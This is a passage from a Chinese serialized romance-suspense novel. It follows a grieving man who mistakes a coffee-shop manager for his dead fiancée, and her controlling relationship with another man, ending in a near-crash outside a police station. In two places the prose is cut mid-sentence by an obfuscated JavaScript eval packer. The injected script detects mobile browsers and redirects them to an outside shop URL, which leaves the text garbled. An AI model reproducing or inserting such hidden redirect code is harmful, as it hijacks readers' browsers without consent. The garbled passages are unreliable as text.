宋朗默默排在后面,顺手拿出手机查看是否有新邮件。就在这时,两名店员从后面的员工区走了出来,其中一人仿佛在吩咐着什么。 那女声清亮又透着一种沙哑的质感,不经意间吸引了宋朗的注意,让他下意识地抬眼一瞥。 指尖僵在了手机屏幕上。 那一刻,仿佛有无形的、湿润的雾气笼罩了他。周遭的一切声响尽皆褪去,世界好像被按下了静音,而他坠入了光怪陆离的梦境。 宋朗身体僵硬,几乎是不受控制地,随着那道身影的出现,缓缓转过了身。 那女人穿着与其他店员不同的制服,利落的短发被发卡仔细别在耳后,露出清晰流畅的下颌线与纤细柔和的脖颈线条。 她抬眼望了过来。 四目相对的瞬间,宋朗只觉得时间骤然凝固,周遭的一切都失去了声音和色彩。连跟在女人身后出来的年轻员工,都敏锐地察觉到了这氛围的诡异,有些无措地看看自家突然噤声的店长,又看看那位衣着得体、却神情恍惚的先生。 宋朗的嘴唇微张,不确定自己是否发出了声音。 他无法思考,无法理解——她怎么可能再次出现?他不明白,但此刻占据他内心的却并非恐惧,而是在巨大震惊迟滞数秒后,猛然爆发的、淹没一切的狂喜。 所有教养与理智在这一刻都被抛到了九霄云外。他猛地向前一步,不由分说地将女人紧紧拥入怀中,甚至没意识到自己全身都在不受控制地颤抖。 “楚谕?是你......你没事......你没事!”他的声音嘶哑,语无伦次,“是哪里搞错了,对不对?太好了......太好了......你还在啊,我......” 怀中的女人开始挣扎,声音里带着被冒犯的不悦与惊愕:“这位先生......先生!请您放手!” 女人起初只是下意识后仰想躲,却没料到对方竟直接将她强行抱住,只得提高声调试图制止。一旁的员工见状也急忙上前:“先生,这位是我们店长,您肯定认错人了!” 认错人了? 宋朗的理智被稍稍拉回一丝。他松开拥抱,双手却仍牢牢抓着对方的手臂,目光镌刻般凝视着她的面庞。 女人睁大了眼睛,受惊的模样让她那双桃花眼显得更大、更圆。 宋朗看着她,大脑却像开启了自动过滤,将所有不相符的细节统统抹去,只顽固地接收着那些熟悉的轮廓。 看着他明显失魂落魄的状态,女人只好率先打破僵局,一边试图挣脱,一边尽量保持礼貌:“不好意思,但您真的认错人了。我叫简宁,是这家店的店长。” 宋朗仍陷在那光怪陆离的世界里,听不见外界声音般喃喃低语:“不可能......不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352895|199629||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可能......” 简宁无奈,只得放缓语气:“请您先放开我,我可以给您看身份证,好吗?”她转头吩咐身旁手足无措的员工:“小郑,麻烦去休息室帮我拿一下包。这位先生应该是认错人了。” 直到这时,宋朗才逐渐回过神来。他歉意地松开手,向后退了一步,眼中的火焰渐渐熄灭,取而代之的是一种深切的迷茫与不舍,目光依旧锁在对方脸上,仿佛一移开,她便会如镜花水月般消失。 再次对上那双清澈而带着不悦的桃花眼,他其实已经明白这是一场令人心碎的误会,却仍未拒绝查看身份证的提议——仿佛内心深处,还残存着一丝渺茫的侥幸。 两人就这样僵持在大堂。幸好此时尚无其他客人,否则这番景象必定影响营业。 小郑很快取来了一个提包,女人接过,利落地掏出钱夹,隔着透明的卡套窗口展示给宋朗:“您看,我叫简宁。真的不是您要找的那位。” 宋朗的目光落在身份证上——“简宁”两个字清晰无误,年龄比楚谕小一岁,户籍所在地的序列号也明确显示是本地人。 最后一丝微弱的希望,彻底熄灭了。 宋朗闭了闭眼,理智终于全面回笼,不得已接受了这个结论,然而情感却像卡住的齿轮,滞涩地转不过弯。一向得体的礼仪也迟迟无法归位,只是收回了所有过界的动作,却仍像根木桩般杵在原地,乍一看倒像个上门滋事的不速之客。 见他失魂落魄地仍滞留原地,简宁轻叹一声,语气更缓了些:“先生,我们马上要开始忙了。这样吧,您先坐下来缓一缓,我给您做杯咖啡,好吗?” 宋朗望着她一张一合的唇瓣,目光有些空洞,几乎是本能地应了一声:“好。” 他如同被无形的丝线牵引,顺从地、安静地在靠墙的沙发上坐了下来,脊背挺直,却透着一股被抽去力道的僵硬。 简宁转身走进操作间,利落地为他做了一杯美式,亲自端到他面前的桌上。她朝他礼节性地微笑了一下,未再多言,便迅速回到了忙碌的工作区域。 “店长,您理他干什么呀,”小郑凑过来,压低声音的同时瞥了宋朗一眼,“穿得倒是人模人样,别是这里有问题吧?”她悄悄指了指自己的太阳穴。 简宁并未追随小刘的视线,只是动作微顿片刻,随后淡淡笑了笑,边准备其他订单边轻声道:“是个伤心人罢了,没什么。” 清晨的咖啡店逐渐被上班的人流填满,周围写字楼的白领们对咖啡和早餐的需求让这里很快变得喧闹。简宁一直留在操作台后帮忙,再未靠近宋朗所在的角落,可却能清晰地感知到,那道目光,如同无形的蛛丝,始终若有若无地黏着在她身上,即使早已过了他这类精英人士通常该出现在办公室的时间。 宋朗小口啜饮着简宁端来的咖啡,浓郁的苦涩在舌尖蔓延,觉得和他办公室里做出来的,似乎并无不同。 他凝视着杯中漆黑的液体,忽然想起,楚谕是从来喝不下黑咖啡的,应该也不会煮——毕竟,她从未为他做过。 可是....... 一股强烈的冲动驱使着他,宋朗很想像刚才那样肆无忌惮地凝视她,捕捉她每一次转身时发梢扬起的弧度,寻找她无意识咬唇的小动作,观察她掀起眼帘看人时那细微的角度......仿佛这些碎片,能拼凑出一些虚幻的慰藉。 然而深入骨髓的礼仪修养此刻重新占据了上风,像一道无形的枷锁,限制了他的行为。为了避免再次失态,给对方带去困扰,他只能强行压抑住转身的欲望,将所有的注意力,所有的渴望,都锁在面前这杯逐渐冷却的黑咖啡里。 脑海中,方才那张近在咫尺的脸庞不断闪回。宋朗此刻像个偏执的鉴定师,在心里默默将她与记忆中的楚谕不断进行比对。 她比楚谕要清瘦一点,音色微哑些,肤色也白皙些。眼睛更大、更圆,像浸着水的桃花。而且她似乎更爱笑,气质也更显活泼。 哦,对了。她的眼角......没有那颗独一无二的、棕色的泪痣。 那天,宋朗终究没去公司。他只是给秘书发了条信息,含糊地提及遇到了突发状况。对方关切地询问他是否身体不适,他却不愿多言,最终以一句“没事”草草结束了对话。虽说不至于耽误什么紧要工作,但这般不负责任的举动,与他素来严谨的行事风格可谓背道而驰。 他在那间咖啡馆里,硬生生从清晨坐到了午休时分。直到看见简宁终于走出操作间,他才像是被按下了启动键,急忙起身过去,在员工休息室门口拦住了她,声音带着几分不易察觉的局促:“不好意思,打扰一下。” 简宁握着门把手,几不可闻地叹了口气,这才回过头,眉宇间带着显而易见的无奈:“你......怎么还在啊。” 宋朗努力挤出一个尽可能温和得体的微笑,尽管那笑容看起来疲惫又勉强:“我知道这很冒昧,但......能否请您赏光,一起吃个便饭?” 简宁松开手,完全转过身来,语气平静却疏离:“我们休息时间很短,不能外出。” 宋朗认真地听着,没有提出任何异议,只是理解地点了点头,随即又不死心地追问:“那......您晚上下班之后,方便吗?” “先生,”简宁抬起眼,目光郑重地望进宋朗眼底,仿佛要将他最后一点侥幸也击碎:“我真的不是你要找的人。请不要再在我身上浪费时间了。” 如此直白而坚决的拒绝,对宋朗而言几乎是生平第一次。他一时手足无措,手指无意识地紧紧攥住西裤的边缘,将那熨烫笔挺的裤线揉出了一片凌乱的褶皱。 他几乎是有些低声下气地开口:“对不起......只是......您和我未婚妻,实在有几分相似......”他抬起头,眼中带着自己都未曾察觉的恳求:“她刚刚......离开我不久。我没有别的意思,就是......想找个人说说话。可以吗?” 这番话全然是真情流露,他并未想过要用悲伤来绑架对方。可对方的眼中竟似未曾泛起一丝涟漪,只是微微低下头,片刻后再开口时声音微哑,可拒绝得依旧彻底:“抱歉。我有男朋友,也有自己的生活。请恕我无法答应。” 说罢,她不再看他,只是微微颔首示意,随即开门进了休息室,将宋朗一人怔怔地留在空荡的走廊里。 他在那扇紧闭的门外站立了许久,久到几乎失去了时间的概念。最后,他都不记得自己是怎样离开那家咖啡馆的,直到车子已经驶出很远,他的意识才仿佛一点点重新归位。 关于楚谕的回忆,被他用理智强行尘封了太久,好不容易覆上了一层薄灰,如今却被突然地、连血带肉地重新翻开,与简宁那相似却又陌生的面庞缓缓重合。 大脑突然传来一阵剧烈的眩晕。他猛地踩下刹车,双手抵住额头,重重地磕在冰冷的方向盘上。 后方车辆因他这毫无征兆的急停险些追尾,一时间刺耳的喇叭声此起彼伏。在一片焦躁的喧嚣中,宋朗重新启动车子,眼眶却是一片滚烫的酸胀。 他一手勉强握着方向盘,另一只手用力地捂住自己的下半张脸,将那可能溃堤的呜咽,死死封堵在掌心。 即便......她不是楚谕。 就让他这样远远地看着,假装那个人只是离开了他,却依然好好地、安然地活在这世上的某个角落...... 这样,可以吗? 14. 拾肆 对新生活的适应速度,有些出乎迟昼的预料。品牌4S店的工作环境远比之前的汽修厂舒适,同事间的氛围也轻松融洽。上班刚满一个月,恰逢一位同事生日,便借此机会邀大家下班后小聚。迟昼想到简宁这天排了晚班,便随大流一同去了。 尽管迟昼曾经历漫长的迷茫、颓废、抗拒与任何人建立深刻联结的孤僻阶段,但他的本质,更像是在与这个了无生趣的世界为敌,与内心那个空洞的自我为敌,而非针对周遭的具体个体。 只是人一旦放任自己沉溺于孤寂,便不得不先习惯它,最终甚至......依赖上它。 事实上,迟昼从来不算难以相处。他只是极度缺乏主观能动性,骨子里又带着随波逐流的惯性,同时因某些深埋的执念,才时常显得疏离冷淡,给人难以接近的错觉。如今他试着重回人群,尽管脚步仍带几分战战兢兢,却也能重新感受到那份喧闹的、带着烟火气的温度。近来,他都努力在让自己表现得像个“正常人”,而不是个刚刚死了朋友,背负着巨大秘密和沉重过去的人。 他清楚,这份改变主要源于心境的转变。与简宁开始所谓的新生活后,尽管偶尔仍会感到无形的压抑与迷茫,但不可否认,他也品尝到了一些世俗的、微小的甜头——或许,这源于某些执念悄无声息的缓慢消散。 “谁的手机在震?”觥筹交错间,有人提醒了一句。 迟昼下意识地摸向口袋,发现是自己的。他掏出手机接通,简宁微哑的声音从那头传来:“你去哪儿了?” “我跟同事吃饭呢。”他如实回答,“怎么了?” “店里有个同事明天上午有事儿,临时跟我换了班,就提前回来了。你怎么突然出去吃饭了?” “哦,这样......”迟昼应着,“我同事今天生日,大家在外面聚聚。” 电话那头沉默了一瞬,似乎对他的简略回答不甚满意。简宁哼了一声,追问:“在哪儿聚?我过去找你?” 迟昼顿了顿:“行是行,不过等你过来,我们估计也快散了。要不你点个外卖?或者等会儿我给你带点。” “算了,我做了饭了......”简宁的语气淡了下去,“那你记得早点回来。”她没再多说,挂了电话。 迟昼将手机揣回兜里,一抬头,便撞上同事们几道带着玩味的目光。坐在旁边的人用手肘顶了顶他,笑着打趣:“哟,女朋友查岗啊?” 查岗?这个词让迟昼微微一怔,他刚才完全没往这个方向想。 “不是,”他下意识地解释:“她就是临时早下班,发现我没在家,问问情况。” “哥是过来人!”一位比迟昼年长几岁的已婚同事凑过来用力拍了拍他的肩,语气带着过来人的笃定:“这都是套路!先跟你说要晚班,再搞个突然袭击提前回来,专抓你下班后的小尾巴。”他呷了口酒,故作高深地预言:“等着吧,电话肯定还得来。” 迟昼笑了笑,正想辩解什么,掌心的手机却仿佛为了印证同事的话一般,再次震动起来。屏幕上闪烁的,果然还是“简宁”二字。 那位同事了然地呵呵一笑,又拍了拍他的肩,随即体贴地走开几步,给他留出了空间。 “你吃饭的地方......有卖粥的吗?”电话那头,简宁微哑的声音再次响起,话题跳脱得让迟昼一时没反应过来。 他手边没有菜单,只能凭借印象回答:“好像有吧,我问问看。” “那帮我带一碗回来吧。” “好。” 简宁在那边轻轻笑了笑,语气听起来很随意:“我可不是催你啊,你该玩就玩,我就是想当个夜宵。” 电话挂断,这次,迟昼真切地品味出了一丝“查岗”的意味。他刚放下手机,先前打趣的同事们便心照不宣地起哄起来,脸上明晃晃写着“果然如此”。 他应付着同事们,但一股迟来的、莫名的别扭感,却慢半拍地涌上了心头。这感觉并非源于被人记挂本身——被人惦记本是暖事——只是当这件事发生在此刻的他们之间,就......平添了几分难以言喻的荒谬。 尽管他们当下的生活轨迹已无限趋近于一对寻常情侣,可迟昼总会在某些始料未及的时刻,被猛地拽回冰冷的现实。 严疏登门时是,两人亲密接触时是......如今看来,被旁人打趣“恩爱”时,也是。 这本该是甜蜜的负担,可于他而言,却像嚼干了汁水的甘蔗,只剩一团粗粝的纤维,咽不下去,也吐不干净。 饭后,同事们兴致勃勃地张罗转场续摊,招呼着迟昼同去。但他记着简宁的吩咐,便婉拒了邀请,独自走到餐厅前台点粥。 面对着琳琅满目的菜单,迟昼下意识想拨电话问问她想要哪种,指尖却在看到一个菜品名后停住。 “就这个吧。”他抬头,对服务员说。 提着打包好的粥回到家,一眼便看见餐桌上摆着几盘几乎未动的菜,而简宁正窝在沙发里看着电视。他将粥放在桌上,有些不解:“不是做了饭吗?连汤都有,怎么还特意要粥?” “突然想喝了嘛。”简宁站起身,趿拉着拖鞋走过来,自然地伸长手臂搂住他的脖子,亲昵地贴了贴他的脸颊,然后才转身端起盘子走向厨房:“我把菜热一下,你再陪我吃点儿。” “你自己怎么没吃?”那些菜显然没被动过。 “炒菜的时候又不知道你不回来。”她的声音从厨房传来,“炒完觉得还不饿,放着放着就忘了。去洗手吧,咱们一块儿吃。” 微波炉运作的嗡嗡声响起。迟昼晚上确实没吃饱,想着再吃些也无妨,便没再多问。他转身去洗手,回来时恰好听见微波炉“叮”的一声。他准备去帮忙端菜,便朝厨房走了两步。 入户门边的镜面立柜侧放着,从这个角度,恰好能将厨房一隅纳入反射。迟昼的目光无意间掠过镜面,正好对上料理台上那个显眼的打包盒——套在外面的塑料袋,清晰地印着那家餐厅的名字与LOGO。 脚步几不可察地顿了一下。 也许是他多心了。但此刻细想,简宁今晚这粥,要的似乎......有些刻意。 他抬步走进厨房,帮着把菜摆好,才语气故作轻松地道:“今天这家馆子味道确实不错,价格也合适。改天我们一起去尝尝?” 简宁夹了一筷子菜,头也不抬:“在家吃就挺好,我对餐厅没什么兴趣。”说着她掀开粥盒,舀起一勺送入口中,随即蹙起眉头:“有银耳?我不喜欢银耳。” 迟昼仿佛并不意外,只是平静地说:“那放着吧,我明天热一热当早餐。” 简宁放下勺子,定定地凝视着他,片刻后忽然唇角一弯,露出个意味深长的笑,却没再多说什么。 这顿饭在沉默中吃了大半。饭后简宁起身收拾,将剩菜仔细封好放进冰箱。 迟昼望着她忙碌的身影,有些出神。 那些在生命早期便与痛苦、不适紧密联结的事物,似乎总能在记忆和本能里留下更深的烙印,导致被长久地排斥。某种食物,或是某种环境,皆是如此。 那么......人呢? “喂,发什么呆呢!”简宁捏着一罐冰镇饮料在迟昼眼前晃了晃,冷凝结的水珠甩在他脸上,冰得他一个激灵。他猛地回神,看着眼前这张明媚的脸,几不可闻地叹了口气:“没什么......就是有点撑了。” 他暗自摇头。没什么意义的举动,怎么就莫名做了出来?真是抽风了。 夜色已深,他起身坐进沙发,随手调了个看过的老电影。简宁跟着偎依过来,将重量压在他肩上,但此刻这份亲昵却让他突然渴望独处。 他不抱什么希望地开口:“你明天不是换早班了吗?先去睡吧。” “好啊。” 出乎意料,她答应得干脆利落,反倒让迟昼怔了一下。自同居以来,每晚她都近乎固执地要求他一同上床休息,即便他因急活加班到深夜,她也必定亮灯等待,仿佛这是某种不容打破的仪式。 今晚她却转身就走向卧室,只是在门边又停住脚步,倚着门框说:“对了,有件事忘了告诉你。” 迟昼刚在沙发上放松下身体,闻言肩背又不自觉地绷紧,生怕她又说出什么自己无力承受的话。 简宁察察觉到了他细微的紧张,笑了笑:“别紧张,不是什么大事。就是我买了辆车,这周末就能提。” “啊?”迟昼一时没反应过来,愣了好一会儿,才问:“怎么......这么突然?” “两个人生活,总有用车的时候,有辆车还是方便得多,休息日还能一起去近郊转转。”她语气轻描淡写,“没事,就是个代步车,十万出头。周末你休息吧?咱正好开出去试试新。” 迟昼抿了抿唇,心底泛起一丝难以名状的异样。买车本身其实并非多么重大的决定,只是“有房有车”的生活图景于他而言,始终像隔着一层模糊的玻璃,遥远而不真切。如今先是仓促同居,紧接着又要添置新车,一切变化都来得太快、太密,让他感觉自己像被一股无形的力量生拉硬拽,踉跄着向前狂奔,有些喘不过气,总带着莫名的焦虑。 十几万,他相信工作多年的她确实拿得出来。但迟昼还是下意识地想问,话到嘴边,又生生转了个弯,出口时变成了更委婉的试探:“你......钱已经付了?” 简宁却仿佛已看穿他的心思,故意拖长了语调:“放心,我自己也存了些钱。”她说着,唇角勾起一个意味不明的弧度,又慢悠悠地补上一句:“没动......你那老相好留下的钱。” 对上她那洞悉一切的笑容,迟昼下意识地辩解:“我不是这个意思......”话出了口,才后知后觉地品出她话里那根细微的刺。 他不喜欢这种暗流涌动的氛围,闭了闭眼,最终却还是没忍住,喉结滚动了一下,仿佛带着一丝不易察觉的抵抗,回敬般开口道:“买就买吧,不过我上班很近,用不上。你......会开吗?” 简宁唇边的弧度缓缓加深,她歪着头,饶有兴味地打量着故作轻松的迟昼,片刻后,才轻轻开口,话题却与刚才截然不同:“阿昼,以前上学时有人告诉过我,做选择题如果碰见不确定的......需要的是坚定,最忌摇摆不定。”她慵懒地靠向门板,微笑着反问:“你觉得呢?” 迟昼没有回应这个突兀的问题,只是微微低下头,咽下喉间的干涩,低声道:“我不知道。”他顿了顿,像是为了填补这令人窒息的沉默,又没话找话般把话题拉了回来:“对了,既然是家里用的车,钱还是一起出吧。改天我转给你。” 简宁的姿势未变,脸上的笑容却逐渐漾开,变得真切起来。她忽然几步过来,单膝跪在沙发上,双手捧起迟昼的脸,不由分说地吻了上去。 迟昼有些发懵,不明白她为何突然如此欣喜。身体虽然尚自僵硬,唇舌却已下意识地给予了回应——仿佛这具身体,早已先于混沌的意志,替他做出了选择。 她清晰地感受到了他的回应。 一吻结束,简宁用额头抵上他的,声音里带着得偿所愿的笑意:“搞清楚哦,这可不是因为你说转钱。”她的指尖轻轻划过迟昼的脸颊:“是因为......我爱听你说的‘家里’。” 对上她近在咫尺、笑意盎然的深邃眉眼,迟昼的心脏竟不争气地漏跳了一拍。 那一刻,他仿佛再次触摸到了名为“爱意”的实体。 简宁轻抚了下他的侧脸,笑意未减:“困了,先睡了。你也别太晚。” 她起身走向卧室。 房门虚掩着,从客厅沙发的角度看不到床。迟昼心绪纷乱,抬手关掉了电视的声音,正有些出神,卧室里又飘来一句轻描淡写的话: “钱就不用转了。我要用的话,会自己拿的。你的密码......是我生日,我知道的。” 迟昼听到了,却没有作出任何反应,只是疲惫地靠在沙发里,仿佛已耗尽了应对的力气。 他静静地坐着,目光落在无声闪烁的电视屏幕上,脑子里反复回响着简宁刚才那段突兀的话。 那道题......他是否已经做出了选择? 好像是。 又好像不是。 但迟昼知道,自己不该抗拒,应该顺从地、安然地,沉浸在她安排好的这一切里。 这是......他欠她的。 ********* 两人原本约好周六去提车,随后在城里兜风试驾。然而那天很早的清晨,迟昼便在朦胧中察觉到屋内有人走动。 他昨夜睡得晚,此刻勉强撑开沉重的眼皮,模糊的视线里,映出已然穿戴整齐的简宁。 见他醒来,她走近床边,声音放得很轻:“没事,你再睡会儿。我想起有东西落在店里了,得去拿一趟。”她顿了顿,像是临时起意,又道:“这样吧,我在店里等你。你睡醒后过来找我,我们直接从那儿出发。” “唔......”迟昼含糊地应了一声,意识很快又被睡意吞没。临睡着前,他瞥到了床头因收到消息推送而亮起的手机,锁屏界面显示才六点出头。 再次醒来已是九点多,阳光透过窗帘缝隙洒了进来。他想起简宁早上的交代,便强迫自己离开床铺,冲了个澡试图驱散困意。当他打开衣柜时,却不由得愣住——里面赫然多出了许多他从未见过的新衣。印着醒目品牌Logo的T恤、版型硬挺的牛仔裤、质感厚重的风衣、夹克......风格各异,虽都带着崭新衣物特有的气息,但所有吊牌都已被细心剪去。他随手取出一套穿上,尺寸相当合适,连裤腰都恰到好处,可见挑选者花了不少心思。 他穿戴整齐,随手关上柜门,动作却在半途停滞。片刻后他又重新拉开门,目光投向嵌在柜门内侧的全身镜。 镜中的身影,轮廓因近来的清减而愈发清晰,褪去了几分沉郁,竟隐约找回了几分少年时代的影子。 他凝视着镜中那略带少年感的自己,内心在无声地发问。似乎想要透过时光,询问那个曾经的自己。 “你说,现在的我......在做对的事吗?” 幼时的他,性子远比现在腼腆怯懦,有着一双极易受惊、常常不知所措的眼睛。那双眼眸大多时候是空洞而迷失的,只在极少数特定的时刻才会被点亮,迸出神采。 比如......在看见某个特定的人的时候。 是从何时开始的呢? 又是为何结束了呢? 镜子终究只是镜子,沉默地反射着现实的表象,无法给予任何回应。 最终他还是沉默地合上了柜门。 ———————————— 待他坐公交抵达咖啡店,不等推门,简宁便像有所感应般迎了出来。迟昼问她去哪儿提车,毕竟许多4S店都集中在远郊的汽车城,距离市区颇远。 果然,简宁晃了晃手机,无奈地耸耸肩:“在东边那个红星汽车城,挺远的,地铁不方便。我已经打好车了。” 两人站在路边等候。这时,一辆私家车从对面马路调过头来停在街角,流畅的车型与独特的哑光车漆彰显着不菲的价值,攫取了不少路人的目光,也吸引了迟昼片刻的注意。 他见过的车已不计其数,其中不乏豪车超跑,是以并无太大兴趣,只略略瞥了两眼便收回了目光。网约车恰在此时抵达,二人也不再耽搁,弯腰坐进了车内。 路途虽然遥远,但好在提车手续办理得相当顺利,简宁全程都显得兴致勃勃,眼角眉梢都漾着笑意。阳光穿过4S店宽敞的落地窗,在她发梢跳跃,晕开一圈圈柔和的光晕。 如今的销售流程花样繁多,提车更是设置了复杂的欢迎仪式——铺着夸张的红地毯,还热情地邀请车主捧着钥匙与新车合影。迟昼素来不喜这种流于形式的尴尬场面,只想尽快开车走人,但简宁却紧紧揽住他的胳膊,执意要他一同参与。 “算了,算了,真没必要......”他连连摆手,脚底像生了根,浑身上下都写着抗拒。 “快来嘛!”简宁嘴上撒着娇,挽住他胳膊的手却暗暗用力,将他往红毯中心拽。 迟昼身体后倾,幼年时那种深入骨髓的腼腆与不适此刻仿佛全部苏醒。他试图将手臂抽出来,低声嘀咕:“我不喜欢拍照,你知道的。” 简宁不再用力拉扯,只是停下脚步,转过头静静凝视着他的脸,嘴角依旧挂着那抹云淡风轻的笑。再开口时声音不大,却带上了不容置疑的笃定:“你喜欢拍照。” 迟昼望进她的眼底,那里没有丝毫笑意,只有一片持拗的坚定。那语气斩钉截铁,仿佛是在陈述一个毋庸置疑的事实,全然不似销售人员眼中看到的娇嗔,更像是种不容反驳的警示,在明确地告诉他——必须喜欢。 迟昼的肩膀几不可察地垮了下去,最后一点抗拒也随之消散。他不再挣扎,任由她牵引着走过红毯,来到锃亮的新车旁,同时配合着销售的指挥,僵硬地摆出各种姿势。他不知道自己最后是否挤出了笑,只像个大型玩偶般被简宁摆弄着,参与着这场漫长的仪式。 好不容易熬完所有流程,销售人员终于取来钥匙,表示只需再签一份文件即可全部办妥。迟昼暗暗松了口气,看着简宁接过纸笔,倚在一旁的墙面利落地签字。 他正想缓释一下紧绷的神经,却听见站在简宁身后的销售略带诧异地问了一句:“您二位住这个片区啊?我们西边那个分店就在你们小区那边,虽然规模小点,但基础手续都能办理。怎么特意跑这么远到总店来呢?” 买车事宜全程由简宁一手操办,迟昼也是前几天才被通知,对此实在一无所知,闻言也不禁心生疑惑,转头看向她。 简宁签好名字,将文件递还给销售,随意地笑了笑:“您也说了分店规模小嘛。这是我们的第一辆车,总觉得总店的仪式感会更足一些。” 销售露出理解的微笑,一旁的迟昼却听得抬手扶额——合着他不仅被这场尴尬的仪式折磨了半天,甚至为了承受这番煎熬,还特意多跑了几十公里的冤枉路。 终于坐进新车,密闭空间里弥漫着全新皮革特有的浓重气味。迟昼微微蹙眉,正想将车窗全部降下,坐在副驾的简宁却已举起了手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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虽然简宁并未指明目的地,但从汽车城出来后只有一条林荫路,迟昼便漫无目的地沿着路向前开。然而行驶了没两分钟,就在路边看到了一个地铁站。他皱了皱眉,想起早上简宁打车时曾说“地铁不方便”。 他下意识地侧头看了身旁的人一眼,却见她正望着窗外出神。迟昼抿了抿唇,终究什么也没问。 这条路不宽,却长得仿佛没有尽头,估计从远郊一直蜿蜒到了城郊。车子平稳地行驶着,期间迟昼多次看向简宁,想询问去向,但她始终望着窗外,仿佛沉浸在另一个世界里。 直到一个红绿灯路口出现,简宁才仿佛大梦初醒。她笑着坐直身体,微微抬起下巴,望着天边舒卷的云朵,深深吸了一口气,再缓缓吐出,语调里带着一种满足的笑意:“现在这样的生活......真好。” 车子滑到红灯前停住,迟昼推至空挡,笑了笑:“就是最普通的日子,有什么好不好的。我们也就是比上不足,比下有余。”新车到底还是带来了些许新鲜感,他的语气难得轻松,甚至带上一丝打趣:“而且这‘余’,也余不了多少。” 简宁也笑了,却摇了摇头:“不是钱多钱少的问题。拥有再多财富,生活依然可能被无法预料的变数彻底摧毁。平凡生活看似唾手可得,实则脆弱得像层薄冰。一场大病,一次错误的选择,一个不该认识的人......都足以让原本安稳的日常,就此分崩离析。” 她说着,转头看向正在开车的迟昼,眼神变得认真:“所以我厌恶变数与失控。我想要的,是下一秒也能牢牢掌握在自己手里的人生。” 绿灯亮起。迟昼重新挂挡启动,喉结滚动了一下,正想说什么,简宁却忽然抬手,轻轻覆住了他握着方向盘的手。 她微微侧过身,凝视着他的侧脸,声音轻柔,却字字清晰:“而一切的重中之重,在于我身边的人。我选定的人,绝不能亲手毁掉我辛苦搭建的城堡。” 尽管车窗紧闭,迟昼还是觉得脑后莫名掠过一丝寒意。他转头看向她,对上那双闪烁着奇异光彩的眼睛时,一切未竟之言都被堵回了喉咙深处。 就在这一刹那,迟昼握持方向盘的手忽然猛地一偏,车身随之失控,像匹脱缰的野马,直直朝着路旁粗壮的树干冲去。电光石火间,迟昼感觉全身毛孔骤然炸开,但多年与车打交道浸染出的本能发挥了作用——他狠狠踩死刹车,同时手腕急速反向扭转,以抵消失控的离心力,避免车辆侧翻。 “吱嘎——!” 轮胎与地面发出刺耳的摩擦声。车子最终以一个极其惊险的角度,斜停在了道路旁。 迟昼惊魂未定,双手仍死死攥着方向盘,指节因过度用力而泛白。凭感觉判断,应该没撞上东西。他深吸一口气,缓了片刻,才转头看向副驾上的简宁。 她看上去像是被吓呆了,只是面无表情地静静坐着。 但迟昼心里清楚,根本不是。 尽管他刚才有些分神,甚至因为侧头看她而让视线短暂离开了路面,但在脚下猛踩刹车的那一瞬,就已经反应过来——方向盘之所以会偏,完全是因为覆着他手掌的简宁突然推了一把! 他猛地解开安全带,推门下车查看。只见前轮已经冲上了绿化带,车头一角几乎紧贴树干,只差分毫。后怕如冰水浇头,随即又被窜起的怒火覆盖。他双手撑在尚带着余温的引擎盖上,闭上眼试图深呼吸,却怎么也压不住那擂鼓般的心跳。 他两步绕到副驾驶门边,看着已经降下车窗、面容平静的简宁,压抑已久的情绪终于冲破了枷锁,第一次对着她低吼出声:“你到底想干什么?!” 自楚谕葬身火海之日起,阴影便始终随形。迟昼被迫在这片黑暗中艰难前行,甚至已经开始习惯它的温度与质地。他以为自己已经能够消化、适应所有的扭曲与异常,可在刚刚那一瞬,身边人展露出的莫名疯狂,还是深深震慑了他。 面对他的质问,副驾上的人并未回应,只是微微撩起眼皮看他。在那双深不见底的眸子里,迟昼竟捕捉到了一丝转瞬即逝、却真切存在的笑意。 他简直不敢相信自己的眼睛,正要再次开口,她却已从容不迫地解开了安全带,推开车门。 这反常的镇定让迟昼一时愣住。他下意识地侧身让开,看着简宁下了车,然后,目光越过车顶,若有所思地向后方望去。 迟昼顺着她的视线回头,这才惊觉他们车后竟紧贴着一辆哑光色调的轿车。那车的保险杠离他们的尾灯不足一米,地上拖着两道清晰的、焦黑的刹车痕——显然是跟得太紧,被他们这突如其来的失控吓得险些追尾。 迟昼一个头两个大。且不说他们这是刚提的新车,后面那辆车光看外形和喷漆就知道价值不菲,若真相撞,理赔纠纷足以让所有人都焦头烂额...... 眉头忽然紧锁。这辆车......那流畅的车型和独特的哑光车漆......他好像在哪见过! 是前两天运来检修的某一辆吗? 还没等他想明白,后方那车的驾驶位便被推开,一个身着挺括西装、面容却难掩疲惫的男人走了出来。 迟昼抬眼望去。 起初,他大脑一片空白,只是觉得这人异常眼熟。但下一秒,剧烈的耳鸣如同海啸般轰然淹没了他,仿佛全身的血液都倒灌进了头顶。 从车里下来的人,是宋朗。 ———————————— 宋朗下了车,本就倦怠的面色更显苍白,显然也受惊不小。他僵硬地关上车门,目光刻意回避着简宁,只是充满歉意地望向迟昼。然而不等他开口解释这突如其来的状况,简宁却像一只受惊的鹿,猛地转身,朝着前方的路口拐角飞奔而去。 两个僵立原地的男人同时转头,愕然地看向她的背影。 迟昼脑中一片混沌,也顾不上与宋朗交涉,本能地转身追了上去。可当他跟着拐过路口,脚步却猛地钉在了原地。 眼前赫然出现一个肃静的厂院,锃亮的金属牌匾在阳光下反射着冰冷的光,上面几个大字如同烧红的烙铁,烫在他的眼底。 刑警分队。 简宁却没有丝毫犹豫,径直冲到紧闭的大门前,与院外站岗的警员急切地说着什么,双手也激动地上下比划——与方才在车上那副掌控一切的从容,判若两人。 